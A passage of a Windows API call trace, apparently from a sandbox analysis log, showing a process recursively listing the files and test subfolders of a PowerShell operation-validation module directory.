dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Operation.Validation.psm1", cAlternateFileName="")) returned 1 [0268.934] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x15b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OperationValidationResources.psd1", cAlternateFileName="")) returned 1 [0268.934] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70e433, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Test", cAlternateFileName="")) returned 1 [0268.934] GetProcessHeap () returned 0xc10000 [0268.934] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0268.934] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70e433, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0268.934] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70e433, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.935] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Operation.Validation.Tests.ps1", cAlternateFileName="")) returned 1 [0268.935] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f0d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 1 [0268.935] GetProcessHeap () returned 0xc10000 [0268.935] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8f78 [0268.935] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f0d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0268.946] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f0d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.946] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f987, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example1.Diagnostics", cAlternateFileName="EXAMPL~1.DIA")) returned 1 [0268.946] GetProcessHeap () returned 0xc10000 [0268.946] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0268.947] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f987, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0268.948] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f987, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.948] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710223, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0268.948] GetProcessHeap () returned 0xc10000 [0268.948] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0268.948] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710223, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0268.949] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710223, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.949] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710b88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1 [0268.950] GetProcessHeap () returned 0xc10000 [0268.950] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0268.950] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics\\Simple\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710b88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0268.950] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710b88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.950] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example1.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1 [0268.950] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example1.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0 [0268.950] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0268.953] GetProcessHeap () returned 0xc10000 [0268.953] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0268.953] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710b88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0268.953] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0268.953] GetProcessHeap () returned 0xc10000 [0268.953] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0268.953] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710223, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0268.953] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0268.953] GetProcessHeap () returned 0xc10000 [0268.953] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0268.954] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71143e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example2.Diagnostics", cAlternateFileName="EXAMPL~2.DIA")) returned 1 [0268.954] GetProcessHeap () returned 0xc10000 [0268.954] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0268.955] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71143e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0268.956] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71143e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.956] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc711adb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1 [0268.956] GetProcessHeap () returned 0xc10000 [0268.956] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0268.956] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc711adb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0268.956] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc711adb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.956] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7122ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0268.956] GetProcessHeap () returned 0xc10000 [0268.956] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0268.956] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7122ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0268.958] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7122ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.958] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7129b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1 [0268.958] GetProcessHeap () returned 0xc10000 [0268.958] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0268.958] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\Simple\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7129b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0268.959] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7129b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.959] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example2.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1 [0268.959] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example2.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0 [0268.959] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0268.959] GetProcessHeap () returned 0xc10000 [0268.959] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0268.959] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7129b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0268.959] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0268.959] GetProcessHeap () returned 0xc10000 [0268.959] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0268.959] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example2.Diagnostics.psd1", cAlternateFileName="")) returned 1 [0268.960] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example2.Diagnostics.psd1", cAlternateFileName="")) returned 0 [0268.960] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0268.960] GetProcessHeap () returned 0xc10000 [0268.960] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0268.961] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc711adb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0 [0268.961] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0268.961] GetProcessHeap () returned 0xc10000 [0268.961] HeapFree (in: hHeap=0xc10000, 